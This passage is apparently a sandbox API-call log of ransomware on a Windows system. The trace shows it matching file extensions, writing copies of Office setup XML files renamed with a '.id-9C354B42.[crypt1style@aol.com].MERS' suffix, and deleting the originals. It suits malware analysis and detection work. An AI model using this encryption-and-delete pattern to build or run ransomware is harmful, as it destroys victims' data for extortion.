Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0043.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.422] lstrlenW (lpString=".doc") returned 4 [0043.422] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.422] lstrlenW (lpString=".docx") returned 5 [0043.422] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0043.422] lstrlenW (lpString=".pdf") returned 4 [0043.422] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.422] lstrlenW (lpString=".xls") returned 4 [0043.422] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.422] lstrlenW (lpString=".xlsx") returned 5 [0043.422] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0043.422] lstrlenW (lpString=".ppt") returned 4 [0043.422] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.422] lstrlenW (lpString=".zip") returned 4 [0043.422] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.423] lstrlenW (lpString=".rar") returned 4 [0043.423] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".bz2") returned 4 [0043.423] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".7z") returned 3 [0043.423] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString=".dbf") returned 4 [0043.423] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString=".1cd") returned 4 [0043.423] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString=".jpg") returned 4 [0043.423] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString=".doc") returned 4 [0043.423] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".docx") returned 5 [0043.423] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0043.423] lstrlenW (lpString=".pdf") returned 4 [0043.423] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".xls") returned 4 [0043.423] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".xlsx") returned 5 [0043.423] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0043.423] lstrlenW (lpString=".ppt") returned 4 [0043.423] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.423] lstrlenW (lpString=".zip") returned 4 [0043.423] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.423] lstrlenW (lpString=".rar") returned 4 [0043.423] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.423] lstrlenW (lpString=".bz2") returned 4 [0043.423] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.424] lstrlenW (lpString=".7z") returned 3 [0043.424] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.424] lstrlenW (lpString=".dbf") returned 4 [0043.424] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.424] lstrlenW (lpString=".1cd") returned 4 [0043.424] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0043.424] lstrlenW (lpString=".jpg") returned 4 [0043.424] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.424] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.424] lstrlenW (lpString="SETUP.XML") returned 9 [0043.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0043.447] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2362) returned 1 [0043.447] CloseHandle (hObject=0x1e4) returned 1 [0043.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0043.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0043.448] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.448] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.448] GetLastError () returned 0x0 [0043.448] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x93a, lpOverlapped=0x0) returned 1 [0043.639] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x940, lpOverlapped=0x0) returned 1 [0043.640] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.640] WriteFile (in: hFile=0x1e8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.640] SetEndOfFile (hFile=0x1e8) returned 1 [0043.640] CloseHandle (hObject=0x1e8) returned 1 [0043.641] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.641] SetEndOfFile (hFile=0x1e4) returned 1 [0043.641] CloseHandle (hObject=0x1e4) returned 1 [0043.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0043.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.642] lstrlenW (lpString=".doc") returned 4 [0043.642] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString=".docx") returned 5 [0043.642] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.642] lstrlenW (lpString=".pdf") returned 4 [0043.642] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString=".xls") returned 4 [0043.642] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString=".xlsx") returned 5 [0043.642] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.642] lstrlenW (lpString=".ppt") returned 4 [0043.642] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.642] lstrlenW (lpString=".zip") returned 4 [0043.642] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.642] lstrlenW (lpString=".rar") returned 4 [0043.642] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString=".bz2") returned 4 [0043.642] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.642] lstrlenW (lpString=".7z") returned 3 [0043.643] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString=".dbf") returned 4 [0043.643] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString=".1cd") returned 4 [0043.643] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString=".jpg") returned 4 [0043.643] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString=".doc") returned 4 [0043.643] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString=".docx") returned 5 [0043.643] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.643] lstrlenW (lpString=".pdf") returned 4 [0043.643] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString=".xls") returned 4 [0043.643] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString=".xlsx") returned 5 [0043.643] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.643] lstrlenW (lpString=".ppt") returned 4 [0043.643] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.643] lstrlenW (lpString=".zip") returned 4 [0043.643] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.643] lstrlenW (lpString=".rar") returned 4 [0043.643] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString=".bz2") returned 4 [0043.643] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.643] lstrlenW (lpString=".7z") returned 3 [0043.644] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.644] lstrlenW (lpString=".dbf") returned 4 [0043.644] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.644] lstrlenW (lpString=".1cd") returned 4 [0043.644] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0043.644] lstrlenW (lpString=".jpg") returned 4 [0043.644] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.644] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.644] lstrlenW (lpString="SETUP.XML") returned 9 [0043.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.654] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1886) returned 1 [0043.654] CloseHandle (hObject=0x1e8) returned 1 [0043.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0043.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.654] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.654] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.654] GetLastError () returned 0x0 [0043.654] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x75e, lpOverlapped=0x0) returned 1 [0043.822] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x760, lpOverlapped=0x0) returned 1 [0043.822] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.823] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.823] SetEndOfFile (hFile=0x17c) returned 1 [0043.823] CloseHandle (hObject=0x17c) returned 1 [0043.823] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.823] SetEndOfFile (hFile=0x1e8) returned 1 [0043.824] CloseHandle (hObject=0x1e8) returned 1 [0043.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0043.824] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.824] lstrlenW (lpString=".doc") returned 4 [0043.824] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.824] lstrlenW (lpString=".docx") returned 5 [0043.824] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.824] lstrlenW (lpString=".pdf") returned 4 [0043.824] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.824] lstrlenW (lpString=".xls") returned 4 [0043.824] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.824] lstrlenW (lpString=".xlsx") returned 5 [0043.824] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.824] lstrlenW (lpString=".ppt") returned 4 [0043.824] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString=".zip") returned 4 [0043.825] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.825] lstrlenW (lpString=".rar") returned 4 [0043.825] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString=".bz2") returned 4 [0043.825] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString=".7z") returned 3 [0043.825] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString=".dbf") returned 4 [0043.825] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString=".1cd") returned 4 [0043.825] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString=".jpg") returned 4 [0043.825] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.825] lstrlenW (lpString=".doc") returned 4 [0043.825] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.825] lstrlenW (lpString=".docx") returned 5 [0043.825] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0043.825] lstrlenW (lpString=".pdf") returned 4 [0043.826] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString=".xls") returned 4 [0043.826] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString=".xlsx") returned 5 [0043.826] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0043.826] lstrlenW (lpString=".ppt") returned 4 [0043.826] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.826] lstrlenW (lpString=".zip") returned 4 [0043.826] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.826] lstrlenW (lpString=".rar") returned 4 [0043.826] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString=".bz2") returned 4 [0043.826] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString=".7z") returned 3 [0043.826] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.826] lstrlenW (lpString=".dbf") returned 4 [0043.826] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.826] lstrlenW (lpString=".1cd") returned 4 [0043.826] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0043.826] lstrlenW (lpString=".jpg") returned 4 [0043.826] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.826] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0043.826] lstrlenW (lpString="SETUP.XML") returned 9 [0043.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.091] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=16683) returned 1 [0044.091] CloseHandle (hObject=0x1ec) returned 1 [0044.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0044.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.091] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.091] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0044.263] GetLastError () returned 0x0 [0044.263] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x412b, lpOverlapped=0x0) returned 1 [0044.310] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, 